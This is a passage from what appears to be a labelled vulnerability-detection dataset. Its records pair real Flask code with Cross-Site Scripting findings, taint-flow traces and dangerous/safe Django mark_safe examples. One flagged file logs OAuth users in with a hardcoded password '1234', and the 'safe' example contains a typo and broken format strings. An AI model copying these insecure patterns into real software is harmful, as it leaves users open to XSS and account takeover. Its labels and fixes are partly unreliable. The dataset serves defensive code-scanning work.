'/auth/login'\n\n\n@auth_blueprint.route('/login', methods=['GET', 'POST'])\ndef login():\n    if current_user.is_authenticated:\n        return redirect('/')\n\n    form = LoginForm()\n\n    if request.method == 'POST':\n        if form.validate_on_submit():\n            redirect_url = login_process(form.data['email'], form.data['password'])\n            return redirect(redirect_url)\n\n    return render_template('login.html', form=form, current_user=current_user)\n\n\n@auth_blueprint.route('kakao_oauth_redirect')\ndef kakao_oauth_redirect():\n    code = str(request.args.get('code'))\n    url = \"https://kauth.kakao.com/oauth/token\"\n    data = \"grant_type=authorization_code\" \\\n            \"&client_id=0eb67d9cd0372c01d3915bbd934b4f6d\" \\\n            \"&redirect_uri=http://localhost:8080/auth/kakao_oauth_redirect\" \\\n            \"&code={0}\".format(code)\n    headers = {\n        \"Content-Type\": \"application/x-www-form-urlencoded;charset=utf-8\",\n        \"Cache-Control\": \"no-cache\"\n    }\n    response = requests.post(\n        url=url,\n        data=data,\n        headers=headers\n    )\n\n    #print(\"kakao_oauth_redirect\", response.json())\n\n    kakao_oauth[\"access_token\"] = response.json()[\"access_token\"]\n    kakao_oauth[\"expires_in\"] = response.json()[\"expires_in\"]\n    kakao_oauth[\"refresh_token\"] = response.json()[\"refresh_token\"]\n    kakao_oauth[\"refresh_token_expires_in\"] = response.json()[\"refresh_token_expires_in\"]\n    kakao_oauth[\"scope\"] = response.json()[\"scope\"]\n    kakao_oauth[\"token_type\"] = response.json()[\"token_type\"]\n\n    if \"kaccount_email\" not in kakao_oauth or kakao_oauth['kaccount_email'] is None:\n        kakao_me_and_signup()\n\n    redirect_url = login_process(kakao_oauth[\"kaccount_email\"], \"1234\")\n    return redirect(redirect_url)\n\n\ndef kakao_me_and_signup():\n    url = \"https://kapi.kakao.com/v1/user/me\"\n    headers = {\n        \"Authorization\": \"Bearer {0}\".format(kakao_oauth[\"access_token\"]),\n        \"Content-Type\": \"application/x-www-form-urlencoded;charset=utf-8\"\n    }\n\n    response = requests.post(\n        url=url,\n        headers=headers\n    )\n\n    #print(\"kakao_me_and_signup\", response.json())\n\n    kakao_oauth[\"kaccount_email\"] = response.json()[\"kaccount_email\"]\n    kakao_oauth[\"id\"] = response.json()[\"id\"]\n    kakao_oauth[\"kakao_profile_image\"] = response.json()[\"properties\"][\"profile_image\"]\n    kakao_oauth[\"nickname\"] = response.json()[\"properties\"][\"nickname\"]\n    kakao_oauth[\"kakao_thumbnail_image\"] = response.json()[\"properties\"][\"thumbnail_image\"]\n\n    c = base.db_session.query(User).filter(User.email == kakao_oauth[\"kaccount_email\"]).count()\n    if c == 0:\n        user = User(name=kakao_oauth[\"nickname\"], email=kakao_oauth[\"kaccount_email\"], affiliation=None)\n        user.set_password(\"\")\n        base.db_session.add(user)\n        base.db_session.commit()\n\n\ndef kakao_logout():\n    url = \"https://kapi.kakao.com/v1/user/logout\"\n    headers = {\n        \"Authorization\": \"Bearer {0}\".format(kakao_oauth[\"access_token\"])\n    }\n    response = requests.post(\n        url=url,\n        headers=headers\n    )\n\n    if response.status_code == 200:\n        kakao_oauth[\"kaccount_email\"] = None\n        kakao_oauth[\"id\"] = None\n        kakao_oauth[\"kakao_profile_image\"] = None\n        kakao_oauth[\"nickname\"] = None\n        kakao_oauth[\"kakao_thumbnail_image\"] = None\n\n\n@auth_blueprint.route(\"/logout\")\n@login_required\ndef logout():\n    logout_user()\n    if kakao_oauth and \"kaccount_email\" in kakao_oauth:\n        kakao_logout()\n\n    return redirect('/')\n\n\n@auth_blueprint.route('/signup', methods=['GET', 'POST'])\ndef signup():\n    form = UserForm()\n\n    if request.method == 'POST':\n        if form.validate_on_submit():\n            new_user = User()\n            new_user.email = request.form['email']\n            new_user.name = request.form['name']\n            new_user.set_password(request.form['password'])\n            new_user.affiliation = request.form['affiliation']\n\n            base.db_session.add(new_user)\n            base.db_session.commit()\n            flash('귀하는 회원가입이 성공적으로 완료되었습니다. 가입하신 정보로 로그인을 다시 하시기 바랍니다.')\n            return redirect('/auth/login')\n\n    return render_template(\"signup.html\", form=form)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 31, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "83def34afb7dee77075efee77b5a6f3fe5c0428802164e13a1cc20c06ed0685d", "license": {"spdx": ["MIT"], "repo": "cds-snc/notification-admin", "path": "app/main/views/templates.py", "repo_head_hexsha": "d4056798bf889ad29893667bbb67ead2f8e466e4", "stack_hexsha": "f41b63806a18c6ea9b6ee2484bb3111d3bc16034", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 426, "entireCode": "from datetime import datetime, timedelta\nfrom string import ascii_uppercase\n\nfrom dateutil.parser import parse\nfrom flask import abort, flash, jsonify, redirect, render_template, request, url_for\nfrom flask_babel import _\nfrom flask_babel import lazy_gettext as _l\nfrom flask_login import current_user\nfrom markupsafe import Markup\nfrom notifications_python_client.errors import HTTPError\nfrom notifications_utils.formatters import nl2br\nfrom notifications_utils.recipients import first_column_headings\n\nfrom app import (\n    current_service,\n    service_api_client,\n    template_api_prefill_client,\n    template_folder_api_client,\n    template_statistics_client,\n)\nfrom app.main import main\nfrom app.main.forms import (\n    CreateTemplateForm,\n    EmailTemplateForm,\n    LetterTemplateForm,\n    LetterTemplatePostageForm,\n    SearchByNameForm,\n    SetTemplateSenderForm,\n    SMSTemplateForm,\n    TemplateAndFoldersSelectionForm,\n    TemplateFolderForm,\n)\nfrom app.main.views.send import get_example_csv_rows, get_sender_details\nfrom app.models.service import Service\nfrom app.models.template_list import TemplateList, TemplateLists\nfrom app.template_previews import TemplatePreview, get_page_count_for_letter\nfrom app.utils import (\n    email_or_sms_not_enabled,\n    get_template,\n    should_skip_template_page,\n    user_has_permissions,\n    user_is_platform_admin,\n)\n\nform_objects = {\n    \"email\": EmailTemplateForm,\n    \"sms\": SMSTemplateForm,\n    \"letter\": LetterTemplateForm,\n}\n\n\ndef get_email_preview_template(template, template_id, service_id):\n    email_preview_template = get_template(\n        template,\n        current_service,\n        letter_preview_url=url_for(\n            \".view_letter_template_preview\",\n            service_id=service_id,\n            template_id=template_id,\n            filetype=\"png\",\n        ),\n        show_recipient=True,\n        page_count=get_page_count_for_letter(template),\n    )\n\n    return email_preview_template\n\n\n@main.route(\"/services//templates/\")\n@user_has_permissions()\ndef view_template(service_id, template_id):\n    template = current_service.get_template(template_id)\n    template_folder = current_service.get_template_folder(template[\"folder\"])\n\n    user_has_template_permission = current_user.has_template_folder_permission(template_folder)\n\n    if should_skip_template_page(template[\"template_type\"]):\n        return redirect(url_for(\".send_one_off\", service_id=service_id, template_id=template_id))\n\n    return render_template(\n        \"views/templates/template.html\",\n        template=get_email_preview_template(template, template_id, service_id),\n        template_postage=template[\"postage\"],\n        user_has_template_permission=user_has_template_permission,\n    )\n\n\n@main.route(\"/services//start-tour/\")\n@user_has_permissions(\"view_activity\")\ndef start_tour(service_id, template_id):\n\n    template = current_service.get_template(template_id)\n\n    if template[\"template_type\"] != \"email\":\n        abort(404)\n\n    return render_template(\n        \"views/templates/start-tour.html\",\n        template=get_template(\n            template,\n            current_service,\n            show_recipient=True,\n        ),\n        help=\"1\",\n    )\n\n\n@main.route(\"/services//templates\", methods=[\"GET\", \"POST\"])\n@main.route(\n    \"/services//templates/folders/\",\n    methods=[\"GET\", \"POST\"],\n)\n@main.route(\"/services//templates/\", methods=[\"GET\", \"POST\"])\n@main.route(\n    \"/services//templates//folders/\",\n    methods=[\"GET\", \"POST\"],\n)\n@user_has_permissions()\ndef choose_template(service_id, template_type=\"all\", template_folder_id=None):\n    template_folder = current_service.get_template_folder(template_folder_id)\n\n    user_has_template_folder_permission = current_user.has_template_folder_permission(template_folder)\n\n    template_list = TemplateList(current_service, template_type, template_folder_id, current_user)\n\n    templates_and_folders_form = TemplateAndFoldersSelectionForm(\n        all_template_folders=current_service.get_user_template_folders(current_user),\n        template_list=template_list,\n        template_type=template_type,\n        allow_adding_letter_template=current_service.has_permission(\"letter\"),\n        allow_adding_copy_of_template=(current_service.all_templates or len(current_user.service_ids) > 1),\n    )\n    option_hints = {template_folder_id: \"current folder\"}\n\n    if request.method == \"POST\" and templates_and_folders_form.validate_on_submit():\n        if not current_user.has_permissions(\"manage_templates\"):\n            abort(403)\n        try:\n            return process_folder_management_form(templates_and_folders_form, template_folder_id)\n        except HTTPError as e:\n            flash(e.message)\n\n    if \"templates_and_folders\" in templates_and_folders_form.errors:\n        flash(_(\"Select at least one template or folder\"))\n\n    initial_state = request.args.get(\"initial_state\")\n    if request.method == \"GET\" and initial_state:\n        templates_and_folders_form.op = initial_state\n\n    sending_view = request.args.get(\"view\") == \"sending\"\n\n    return render_template(\n        \"views/templates/choose.html\",\n        current_template_folder_id=template_folder_id,\n        template_folder_path=current_service.get_template_folder_path(template_folder_id),\n        template_list=template_list,\n        show_search_box=current_service.count_of_templates_and_folders > 7,\n        show_template_nav=(current_service.has_multiple_template_types and (len(current_service.all_templates) > 2)),\n        sending_view=sending_view,\n        template_nav_items=get_template_nav_items(template_folder_id, sending_view),\n        template_type=template_type,\n        search_form=SearchByNameForm(),\n        templates_and_folders_form=templates_and_folders_form,\n        move_to_children=templates_and_folders_form.move_to.children(),\n        user_has_template_folder_permission=user_has_template_folder_permission,\n        option_hints=option_hints,\n    )\n\n\ndef process_folder_management_form(form, current_folder_id):\n    current_service.get_template_folder_with_user_permission_or_403(current_folder_id, current_user)\n    new_folder_id = None\n\n    if form.is_add_folder_op:\n        new_folder_id = template_folder_api_client.create_template_folder(\n            current_service.id, name=form.get_folder_name(), parent_id=current_folder_id\n        )\n\n    if form.is_move_op:\n        # if we've just made a folder, we also want to move there\n        move_to_id = new_folder_id or form.move_to.data\n\n        current_service.move_to_folder(ids_to_move=form.templates_and_folders.data, move_to=move_to_id)\n\n    return redirect(request.url)\n\n\ndef get_template_nav_label(value):\n    return {\n        \"all\": _l(\"All\"),\n        \"sms\": _l(\"Text message\"),\n        \"email\": _l(\"Email\"),\n        \"letter\": _l(\"Letter\"),\n    }[value]\n\n\ndef get_template_nav_items(template_folder_id, sending_view):\n    return [\n        (\n            get_template_nav_label(key),\n            key,\n            url_for(\n                \".choose_template\",\n                service_id=current_service.id,\n                template_type=key,\n                template_folder_id=template_folder_id,\n                view=\"sending\" if sending_view else None,\n            ),\n            \"\",\n        )\n        for key in [\"all\"] + current_service.available_template_types\n    ]\n\n\n@main.route(\"/services//templates/.\")\n@user_has_permissions()\ndef view_letter_template_preview(service_id, template_id, filetype):\n    if filetype not in (\"pdf\", \"png\"):\n        abort(404)\n\n    db_template = current_service.get_template(template_id)\n\n    return TemplatePreview.from_database_object(db_template, filetype, page=request.args.get(\"page\"))\n\n\n@main.route(\"/templates/letter-preview-image/\")\n@user_is_platform_admin\ndef letter_branding_preview_image(filename):\n    template = {\n        \"subject\": \"An example letter\",\n        \"content\": (\n            \"Lorem Ipsum is simply dummy text of the printing and typesetting \"\n            \"industry.\\n\\nLorem Ipsum has been the industry’s standard dummy \"\n            \"text ever since the 1500s, when an unknown printer took a galley \"\n            \"of type and scrambled it to make a type specimen book.\\n\\n\"\n            \"# History\\n\\nIt has survived not only\\n\\n\"\n            \"* five centuries\\n\"\n            \"* but also the leap into electronic typesetting\\n\\n\"\n            \"It was popularised in the 1960s with the release of Letraset \"\n            \"sheets containing Lorem Ipsum passages, and more recently with \"\n            \"desktop publishing software like Aldus PageMaker including \"\n            \"versions of Lorem Ipsum.\\n\\n\"\n            \"The point of using Lorem Ipsum is that it has a more-or-less \"\n            \"normal distribution of letters, as opposed to using ‘Content \"\n            \"here, content here’, making it look like readable English.\"\n        ),\n    }\n    filename = None if filename == \"no-branding\" else filename\n\n    return TemplatePreview.from_example_template(template, filename)\n\n\ndef _view_template_version(service_id, template_id, version, letters_as_pdf=False):\n    return dict(\n        template=get_template(\n            current_service.get_template(template_id, version=version),\n            current_service,\n            letter_preview_url=url_for(\n                \".view_template_version_preview\",\n                service_id=service_id,\n                template_id=template_id,\n                version=version,\n                filetype=\"png\",\n            )\n            if not letters_as_pdf\n            else None,\n        )\n    )\n\n\n@main.route(\"/services//templates//version/\")\n@user_has_permissions()\ndef view_template_version(service_id, template_id, version):\n    return render_template(\n        \"views/templates/template_history.html\",\n        **_view_template_version(service_id=service_id, template_id=template_id, version=version),\n    )\n\n\n@main.route(\"/services//templates//version/.\")\n@user_has_permissions()\ndef view_template_version_preview(service_id, template_id, version, filetype):\n    db_template = current_service.get_template(template_id, version=version)\n    return TemplatePreview.from_database_object(db_template, filetype)\n\n\ndef _add_template_by_type(template_type, template_folder_id):\n\n    if template_type == \"copy-existing\":\n        return redirect(\n            url_for(\n                \".choose_template_to_copy\",\n                service_id=current_service.id,\n            )\n        )\n\n    if template_type == \"letter\":\n        blank_letter = service_api_client.create_service_template(\n            \"New letter template\",\n            \"letter\",\n            \"Body\",\n            current_service.id,\n            \"Main heading\",\n            \"normal\",\n            template_folder_id,\n        )\n        return redirect(\n            url_for(\n                \".view_template\",\n                service_id=current_service.id,\n                template_id=blank_letter[\"data\"][\"id\"],\n            )\n        )\n\n    if email_or_sms_not_enabled(template_type, current_service.permissions):\n        return redirect(\n            url_for(\n                \".action_blocked\",\n                service_id=current_service.id,\n                notification_type=template_type,\n                return_to=\"add_new_template\",\n                template_id=\"0\",\n            )\n        )\n    else:\n        return redirect(\n            url_for(\n                \".add_service_template\",\n                service_id=current_service.id,\n                template_type=template_type,\n                template_folder_id=template_folder_id,\n            )\n        )\n\n\n@main.route(\"/services//templates/create\", methods=[\"GET\", \"POST\"])\n@main.route(\"/services//templates/folders//create\", methods=[\"GET\", \"POST\"])\n@main.route(\"/services//templates//create\", methods=[\"GET\", \"POST\"])\n@main.route(\"/services//templates//folders//create\", methods=[\"GET\", \"POST\"])\n@user_has_permissions(\"manage_templates\")\ndef create_template(service_id, template_type=\"all\", template_folder_id=None):\n    form = CreateTemplateForm()\n\n    if request.method == \"POST\" and form.validate_on_submit():\n        try:\n            return _add_template_by_type(\n                form.what_type.data,\n                template_folder_id,\n            )\n        except HTTPError as e:\n            flash(e.message)\n    return render_template(\n        \"views/templates/create.html\",\n        service_id=service_id,\n        template_folder_id=template_folder_id,\n        template_type=template_type,\n        form=form,\n        disabled_options={},\n        option_hints={},\n    )\n\n\n@main.route(\"/services//templates/copy\")\n@main.route(\"/services//templates/all/copy\")\n@main.route(\"/services//templates/email/copy\")\n@main.route(\"/services//templates/sms/copy\")\n@main.route(\"/services//templates/copy/from-folder/\")\n@main.route(\"/services//templates/copy/from-service/\")\n@main.route(\"/services//templates/copy/from-service//from-folder/\")\n@main.route(\"/services//templates/all/folders//copy\")\n@user_has_permissions(\"manage_templates\")\ndef choose_template_to_copy(\n    service_id,\n    from_service=None,\n    from_folder=None,\n):\n\n    if from_folder and from_service is None:\n        from_service = service_id\n\n    if from_service:\n\n        current_user.belongs_to_service_or_403(from_service)\n        service = Service(service_api_client.get_service(from_service)[\"data\"])\n\n        return render_template(\n            \"views/templates/copy.html\",\n            services_templates_and_folders=TemplateList(service, template_folder_id=from_folder, user=current_user),\n            template_folder_path=service.get_template_folder_path(from_folder),\n            from_service=service,\n            search_form=SearchByNameForm(),\n        )\n\n    else:\n        return render_template(\n            \"views/templates/copy.html\",\n            services_templates_and_folders=TemplateLists(current_user),\n            search_form=SearchByNameForm(),\n        )\n\n\n@main.route(\"/services//templates/copy/\", methods=[\"GET\", \"POST\"])\n@user_has_permissions(\"manage_templates\")\ndef copy_template(service_id, template_id):\n    from_service = request.args.get(\"from_service\")\n\n    current_user.belongs_to_service_or_403(from_service)\n\n    template = service_api_client.get_service_template(from_service, str(template_id))[\"data\"]\n\n    template_folder = template_folder_api_client.get_template_folder(from_service, template[\"folder\"])\n    if not current_user.has_template_folder_permission(template_folder):\n        abort(403)\n\n    if request.method == \"POST\":\n        return add_service_template(\n            service_id,\n            template[\"template_type\"],\n            template_folder_id=template_folder.get(\"id\"),\n        )\n\n    template[\"template_content\"] = template[\"content\"]\n    template[\"name\"] = _get_template_copy_name(template, current_service.all_templates)\n    form = form_objects[template[\"template_type\"]](**template)\n\n    return render_template(\n        f\"views/edit-{template['template_type']}-template.html\",\n        form=form,\n        template=template,\n        heading=_l(\"Copy email template\") if template[\"template_type\"] == \"email\" else _l(\"Copy text message template\"),\n        service_id=service_id,\n        services=current_user.service_ids,\n    )\n\n\ndef _get_template_copy_name(template, existing_templates):\n\n    template_names = [existing[\"name\"] for existing in existing_templates]\n\n    for index in reversed(range(1, 10)):\n        if \"{} (copy {})\".format(template[\"name\"], index) in template_names:\n            return \"{} (copy {})\".format(template[\"name\"], index + 1)\n\n    if \"{} (copy)\".format(template[\"name\"]) in template_names:\n        return \"{} (copy 2)\".format(template[\"name\"])\n\n    return \"{} (copy)\".format(template[\"name\"])\n\n\n@main.route(\"/services//templates/action-blocked///\")\n@user_has_permissions(\"manage_templates\")\ndef action_blocked(service_id, notification_type, return_to, template_id):\n    if notification_type == \"sms\":\n        notification_type = \"text messages\"\n    elif notification_type == \"email\":\n        notification_type = \"emails\"\n\n    return render_template(\n        \"views/templates/action_blocked.html\",\n        service_id=service_id,\n        notification_type=notification_type,\n        return_to=return_to,\n        template_id=template_id,\n    )\n\n\n@main.route(\n    \"/services//templates/folders//manage\",\n    methods=[\"GET\", \"POST\"],\n)\n@user_has_permissions(\"manage_templates\")\ndef manage_template_folder(service_id, template_folder_id):\n    template_folder = current_service.get_template_folder_with_user_permission_or_403(template_folder_id, current_user)\n    form = TemplateFolderForm(\n        name=template_folder[\"name\"],\n        users_with_permission=template_folder.get(\"users_with_permission\", None),\n        all_service_users=[user for user in current_service.active_users if user.id != current_user.id],\n    )\n    if form.validate_on_submit():\n        if current_user.has_permissions(\"manage_service\") and form.users_with_permission.all_service_users:\n            users_with_permission = form.users_with_permission.data + [current_user.id]\n        else:\n            users_with_permission = None\n        template_folder_api_client.update_template_folder(\n            current_service.id,\n            template_folder_id,\n            name=form.name.data,\n            users_with_permission=users_with_permission,\n        )\n        return redirect(\n            url_for(\n                \".choose_template\",\n                service_id=service_id,\n                template_folder_id=template_folder_id,\n            )\n        )\n\n    return render_template(\n        \"views/templates/manage-template-folder.html\",\n        form=form,\n        template_folder_path=current_service.get_template_folder_path(template_folder_id),\n        current_service_id=current_service.id,\n        template_folder_id=template_folder_id,\n        template_type=\"all\",\n    )\n\n\n@main.route(\n    \"/services//templates/folders//delete\",\n    methods=[\"GET\", \"POST\"],\n)\n@user_has_permissions(\"manage_templates\")\ndef delete_template_folder(service_id, template_folder_id):\n    template_folder = current_service.get_template_folder_with_user_permission_or_403(template_folder_id, current_user)\n\n    if len(current_service.get_template_folders_and_templates(template_type=\"all\", template_folder_id=template_folder_id)) > 0:\n        flash(_l(\"You must empty this folder before you can delete it\"), \"info\")\n        return redirect(\n            url_for(\n                \".choose_template\",\n                service_id=service_id,\n                template_type=\"all\",\n                template_folder_id=template_folder_id,\n            )\n        )\n\n    if request.method == \"POST\":\n\n        try:\n            template_folder_api_client.delete_template_folder(current_service.id, template_folder_id)\n\n            return redirect(\n                url_for(\n                    \".choose_template\",\n                    service_id=service_id,\n                    template_folder_id=template_folder[\"parent_id\"],\n                )\n            )\n        except HTTPError as e:\n            msg = _l(\"Folder is not empty\")\n            if e.status_code == 400 and msg in e.message:\n                flash(_(\"You must empty this folder before you can delete it\"), \"info\")\n                return redirect(\n                    url_for(\n                        \".choose_template\",\n                        service_id=service_id,\n                        template_type=\"all\",\n                        template_folder_id=template_folder_id,\n                    )\n                )\n            else:\n                abort(500, e)\n    else:\n        flash(\n            \"{} ‘{}’ {}\".format(\n                _l(\"Are you sure you want to delete the\"),\n                template_folder[\"name\"],\n                _l(\"folder?\"),\n            ),\n            \"delete\",\n        )\n        return manage_template_folder(service_id, template_folder_id)\n\n\n@main.route(\"/services/templates//get-data\", methods=[\"POST\"])\ndef get_template_data(template_id):\n    data = template_api_prefill_client.get_template(template_id)\n    return jsonify({\"result\": data})\n\n\n@main.route(\"/services//templates/add-\", methods=[\"GET\", \"POST\"])\n@main.route(\n    \"/services//templates/folders//add-\",\n    methods=[\"GET\", \"POST\"],\n)\n@user_has_permissions(\"manage_templates\")\ndef add_service_template(service_id, template_type, template_folder_id=None):\n\n    if template_type not in [\"sms\", \"email\", \"letter\"]:\n        abort(404)\n    if not current_service.has_permission(\"letter\") and template_type == \"letter\":\n        abort(403)\n\n    form = form_objects[template_type]()\n    if form.validate_on_submit():\n        if form.process_type.data != \"normal\":\n            abort_403_if_not_admin_user()\n        try:\n            new_template = service_api_client.create_service_template(\n                form.name.data,\n                template_type,\n                form.template_content.data,\n                service_id,\n                form.subject.data if hasattr(form, \"subject\") else None,\n                form.process_type.data,\n                template_folder_id,\n            )\n        except HTTPError as e:\n            if (\n                e.status_code == 400\n                and \"content\" in e.message\n                and any([\"character count greater than\" in x for x in e.message[\"content\"]])\n            ):\n                form.template_content.errors.extend(e.message[\"content\"])\n            else:\n                raise e\n        else:\n            flash(_(\"'{}' template saved\").format(form.name.data), \"default_with_tick\")\n\n            return redirect(\n                url_for(\n                    \".view_template\",\n                    service_id=service_id,\n                    template_id=new_template[\"data\"][\"id\"],\n                )\n            )\n\n    if email_or_sms_not_enabled(template_type, current_service.permissions):\n        return redirect(\n            url_for(\n                \".action_blocked\",\n                service_id=service_id,\n                notification_type=template_type,\n                template_folder_id=template_folder_id,\n                return_to=\"templates\",\n                template_id=\"0\",\n            )\n        )\n    else:\n        return render_template(\n            f\"views/edit-{template_type}-template.html\",\n            form=form,\n            template_type=template_type,\n            template_folder_id=template_folder_id,\n            service_id=service_id,\n            heading=_l(\"New email template\") if template_type == \"email\" else _l(\"New text message template\"),\n        )\n\n\ndef abort_403_if_not_admin_user():\n    if not current_user.platform_admin:\n        abort(403)\n\n\n@main.route(\"/services//templates//edit\", methods=[\"GET\", \"POST\"])\n@user_has_permissions(\"manage_templates\")\ndef edit_service_template(service_id, template_id):\n    template = current_service.get_template_with_user_permission_or_403(template_id, current_user)\n    template[\"template_content\"] = template[\"content\"]\n    form = form_objects[template[\"template_type\"]](**template)\n    if form.validate_on_submit():\n        if form.process_type.data != template[\"process_type\"]:\n            abort_403_if_not_admin_user()\n\n        subject = form.subject.data if hasattr(form, \"subject\") else None\n\n        new_template_data = {\n            \"name\": form.name.data,\n            \"content\": form.template_content.data,\n            \"subject\": subject,\n            \"template_type\": template[\"template_type\"],\n            \"id\": template[\"id\"],\n            \"process_type\": form.process_type.data,\n            \"reply_to_text\": template[\"reply_to_text\"],\n        }\n\n        new_template = get_template(new_template_data, current_service)\n        template_change = get_template(template, current_service).compare_to(new_template)\n        if template_change.placeholders_added and not request.form.get(\"confirm\"):\n            example_column_headings = first_column_headings[new_template.template_type] + list(new_template.placeholders)\n            return render_template(\n                \"views/templates/breaking-change.html\",\n                template_change=template_change,\n                new_template=new_template,\n                column_headings=list(ascii_uppercase[: len(example_column_headings)]),\n                example_rows=[\n                    example_column_headings,\n                    get_example_csv_rows(new_template),\n                    get_example_csv_rows(new_template),\n                ],\n                form=form,\n            )\n        try:\n            service_api_client.update_service_template(\n                template_id,\n                form.name.data,\n                template[\"template_type\"],\n                form.template_content.data,\n                service_id,\n                subject,\n                form.process_type.data,\n            )\n        except HTTPError as e:\n            if e.status_code == 400:\n                if \"content\" in e.message and any([\"character count greater than\" in x for x in e.message[\"content\"]]):\n                    form.template_content.errors.extend(e.message[\"content\"])\n                else:\n                    raise e\n            else:\n                raise e\n        else:\n            flash(_(\"'{}' template saved\").format(form.name.data), \"default_with_tick\")\n\n            return redirect(url_for(\".view_template\", service_id=service_id, template_id=template_id))\n\n    if email_or_sms_not_enabled(template[\"template_type\"], current_service.permissions):\n        return redirect(\n            url_for(\n                \".action_blocked\",\n                service_id=service_id,\n                notification_type=template[\"template_type\"],\n                return_to=\"view_template\",\n                template_id=template_id,\n            )\n        )\n    else:\n        return render_template(\n            f\"views/edit-{template['template_type']}-template.html\",\n            form=form,\n            template=template,\n            heading=_l(\"Edit email template\") if template[\"template_type\"] == \"email\" else _l(\"Edit text message template\"),\n        )\n\n\n@main.route(\"/services//templates//delete\", methods=[\"GET\", \"POST\"])\n@user_has_permissions(\"manage_templates\")\ndef delete_service_template(service_id, template_id):\n    template = current_service.get_template_with_user_permission_or_403(template_id, current_user)\n\n    if request.method == \"POST\":\n        service_api_client.delete_service_template(service_id, template_id)\n        return redirect(\n            url_for(\n                \".choose_template\",\n                service_id=service_id,\n                template_folder_id=template[\"folder\"],\n            )\n        )\n\n    try:\n        last_used_notification = template_statistics_client.get_template_statistics_for_template(service_id, template[\"id\"])\n\n        last_used_text = \"\"\n        if not last_used_notification:\n            last_used_text = _l(\"more than seven days\")\n        else:\n            last_used_date = parse(last_used_notification[\"created_at\"]).replace(tzinfo=None)\n            last_used_text = get_human_readable_delta(last_used_date, datetime.utcnow())\n\n        message = \"{} {} {}\".format(_l(\"This template was last used\"), last_used_text, _l(\"ago.\"))\n\n    except HTTPError as e:\n        if e.status_code == 404:\n            message = None\n        else:\n            raise e\n\n    flash(\n        [\n            \"{} ‘{}’?\".format(_l(\"Are you sure you want to delete\"), template[\"name\"]),\n            message,\n        ],\n        \"delete\",\n    )\n    return render_template(\n        \"views/templates/template.html\",\n        template=get_email_preview_template(template, template[\"id\"], service_id),\n        user_has_template_permission=True,\n    )\n\n\n@main.route(\"/services//templates//redact\", methods=[\"GET\"])\n@user_has_permissions(\"manage_templates\")\ndef confirm_redact_template(service_id, template_id):\n    template = current_service.get_template_with_user_permission_or_403(template_id, current_user)\n\n    return render_template(\n        \"views/templates/template.html\",\n        template=get_email_preview_template(template, template[\"id\"], service_id),\n        user_has_template_permission=True,\n        show_redaction_message=True,\n    )\n\n\n@main.route(\"/services//templates//redact\", methods=[\"POST\"])\n@user_has_permissions(\"manage_templates\")\ndef redact_template(service_id, template_id):\n\n    service_api_client.redact_service_template(service_id, template_id)\n\n    flash(\n        _(\"Personalised content will be hidden for messages sent with this template\"),\n        \"default_with_tick\",\n    )\n\n    return redirect(\n        url_for(\n            \".view_template\",\n            service_id=service_id,\n            template_id=template_id,\n        )\n    )\n\n\n@main.route(\"/services//templates//versions\")\n@user_has_permissions(\"view_activity\")\ndef view_template_versions(service_id, template_id):\n    return render_template(\n        \"views/templates/choose_history.html\",\n        versions=[\n            get_template(\n                template,\n                current_service,\n                letter_preview_url=url_for(\n                    \".view_template_version_preview\",\n                    service_id=service_id,\n                    template_id=template_id,\n                    version=template[\"version\"],\n                    filetype=\"png\",\n                ),\n            )\n            for template in service_api_client.get_service_template_versions(service_id, template_id)[\"data\"]\n        ],\n    )\n\n\n@main.route(\n    \"/services//templates//set-template-sender\",\n    methods=[\"GET\", \"POST\"],\n)\n@user_has_permissions(\"manage_templates\")\ndef set_template_sender(service_id, template_id):\n    template = current_service.get_template_with_user_permission_or_403(template_id, current_user)\n    sender_details = get_template_sender_form_dict(service_id, template)\n    no_senders = sender_details.get(\"no_senders\", False)\n\n    form = SetTemplateSenderForm(\n        sender=sender_details[\"current_choice\"],\n        sender_choices=sender_details[\"value_and_label\"],\n    )\n    option_hints = {sender_details[\"default_sender\"]: \"(Default)\"}\n\n    if form.validate_on_submit():\n        service_api_client.update_service_template_sender(\n            service_id,\n            template_id,\n            form.sender.data if form.sender.data else None,\n        )\n        return redirect(url_for(\".view_template\", service_id=service_id, template_id=template_id))\n\n    return render_template(\n        \"views/templates/set-template-sender.html\",\n        form=form,\n        template_id=template_id,\n        no_senders=no_senders,\n        option_hints=option_hints,\n    )\n\n\n@main.route(\n    \"/services//templates//edit-postage\",\n    methods=[\"GET\", \"POST\"],\n)\n@user_has_permissions(\"manage_templates\")\ndef edit_template_postage(service_id, template_id):\n    template = current_service.get_template_with_user_permission_or_403(template_id, current_user)\n    if template[\"template_type\"] != \"letter\":\n        abort(404)\n    form = LetterTemplatePostageForm(**template)\n    if form.validate_on_submit():\n        postage = form.postage.data\n        service_api_client.update_service_template_postage(service_id, template_id, postage)\n\n        return redirect(url_for(\".view_template\", service_id=service_id, template_id=template_id))\n\n    return render_template(\n        